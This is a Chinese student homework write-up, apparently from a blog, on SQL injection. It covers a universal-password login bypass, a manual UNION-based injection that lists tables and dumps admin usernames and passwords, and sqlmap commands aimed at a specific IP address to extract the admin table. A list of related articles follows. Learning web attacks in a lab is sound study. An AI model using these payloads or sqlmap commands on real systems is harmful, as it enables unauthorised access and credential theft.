信息安全概论课堂作业

SQL注入之万能密码漏洞

第一道题是牵扯到了万能密码漏洞

用户名先输入个’

返回了sql报错语句,猜测存在sql注入漏洞

使用万能密码测试

登陆成功

原理

假设登录框处的判断代码如下:

1
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"';

在账号框中输入admin'or 1=1 #,密码随便输,sql语句就变成了:

1
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符';

符号’将语句闭合

#号将admin' or 1=1后面的语句注释

剩下有效的sql代码变成了

1
SELECT * FROM admin where name='admin' or 1=1;

这段代码意思就是 ‘admin’ or 1=1 (真 or 真)是一个恒为真的判断

服务器收到了返回真的验证,就绕过了登录

防止方法

1.字符转义

2.字符替换

3.百度如何预防SQL注入

SQL注入之字符型注入

利用手动注入

打开网站看到网址有个id参数

判断注入类型

输入id=1 and 1=1# 页面正常

输入id=1 and 1=2# 页面出现异常

猜测为数字注入

判断字段数

输入id=1 order by 2# 页面正常

输入id=1 order by 3# 页出出现异常

得知有两个字段

判断字段回显位置

输入

1
id=1 and 1=2 union select 1,2#

查看字段位置

查看数据库名

输入

1
id=6666 union select 1,database()#

出现数据库名字:maoshe

查看表名

输入

1
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

出现了很多表名

查看字段名

我们需要的是admin表

输入

1
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

看到了字段名id、username、password

查看字段里的数据

输入

1
id=6666 union select 1,group_concat(id,":",username,":",password) from admin#

看到了管理员用户名和密码

利用sqlmap工具注入

检查注入点:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

爆数据库的信息:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

爆当前数据库信息:

1
2
3
4
5
6
7
8
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db
```
![你想输入的替代文字](信息安全概论课堂作业/4.png) ### 指定库名列出所有表 ```php
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe --table

指定库名表名列出所有字段

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin --column

指定库名表名字段dump出指定字段

python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin -C username password --dump

内容来自于

http://reb0rn.design/2019/10/13/信息安全概论课堂作业/

sql注入基础知识的更多相关文章

  1. Sqli-labs之sql注入基础知识

    (1)注入的分类 基于从服务器接收到的响应  ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL盲注 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 基于如何处理输 ...

  2. SQL server基础知识(表操作、数据约束、多表链接查询)

    SQL server基础知识 一.基础知识 (1).存储结构:数据库->表->数据 (2).管理数据库 增加:create database 数据库名称 删除:drop database ...

  3. Sql Server 基础知识

    Sql Server 基础知识: http://blog.csdn.net/t6786780/article/details/4525652 Sql Server 语句大全: http://www.c ...

  4. SQL数据库基础知识-巩固篇<一>

    SQL数据库基础知识-巩固篇<一>... =============== 首先展示两款我个人很喜欢的数据库-专用于平时个人SQL技术的练习<特点:体积小,好安装和好卸载,功能完全够用 ...

  5. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  6. 通过sqli-labs学习sql注入——基础挑战之less1-3

    首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加 ...

  7. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  8. SQL 注入基础

    SQL注入 SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为. 本质:把用户输入的数据当作代码执行.任何和数据库产生交互的地方便有可能存在注入. SQL ...

  9. 【SQL】- 基础知识梳理(二) - SQL简介

    一.引言 在梳理这些知识之前,说实话,如果有人问我SQL是什么?我可能会回答就是“INSERT,DELETE,UPDATE,SELECT”语句呗,还能是啥. 二.SQL概念 SQL是什么? SQL是S ...

随机推荐

  1. Mysql安装出现=========== install/remove of the Service Denied

    在安装mysql过程中遇到一个问题  install/remove of the Service Denied,这个问题说明自己没有安装和删除的权利,原因是自己在运行cmd过程是没有使用管理员身份运行 ...

  2. 闲聊桌面应用开发[Win16->Win32->ATL/WTL/MFC->WinForm->WPF/Silverlight/WinRT]

    闲来无聊,正好小组人员讨论到桌面的开发,那把笔者接触的WIndows平台下的几个主要的发展过程聊一聊. 主要从概述,参考资料,图书等几个方面说起. 所有的界面开发都会涉及如下的几个方面的内容: v 控 ...

  3. IOS常见的三种回调方法介绍

    认识下三种IOS常见的回调模式. 代理模式作为IOS中最常见的通讯模式,代理几乎无处不在. 这里有一个数组,我们首先通过代理的方式将数组传递到其他方法中去. 设置协议及方法 @protocol Cal ...

  4. stl迭代器原理

    具体实现肯定不如书上讲的清楚了,这里只是根据侯捷书上的讲解,自己建立一条思路以及形成一些相关的概念 迭代器也可被称作智能指针,用于遍历容器内的元素,stl每个容器都实现了自己的iterator,ite ...

  5. WordPress主题制作教程8:自定义page模版

    创建新文件,头部注释 <?php /* Template Name: 新的page模版 */ ?> 在页面编辑右栏体现:

  6. vs开发工具之--自动生成注释

    GhostDoc是Visual Studio的一个免费插件,轻松一个快捷键CTRL+SHIFT+D就能够帮助自动生成注释 下载地址:http://submain.com/download/ghostd ...

  7. topas top vmstat

    Linux监控脚本 http://www.jb51.net/article/58799.htm  http://blog.csdn.net/icescream6/article/details/456 ...

  8. POI颜色设置

    package com.java.connect.poi; import java.io.FileOutputStream; import java.io.IOException; import or ...

  9. latch releae overview

    1. MainFsmStates add MAIN_FSM_LATCH_OPEN_FOR_DOOR_CLOSE 2. mb_PcuTriggerReInit = TRUE; /* start PCU ...

  10. oracle使用with as提高查询效率

    经常在开发过程中会用到视图或组合查询的情况,但由于涉及表数据经常达到千万级别的笛卡尔积,而且一段查询时会反复调用,但结果输出往往不需要那么多,可以使用with将过滤或处理后的结果先缓存到临时表(此处原 ...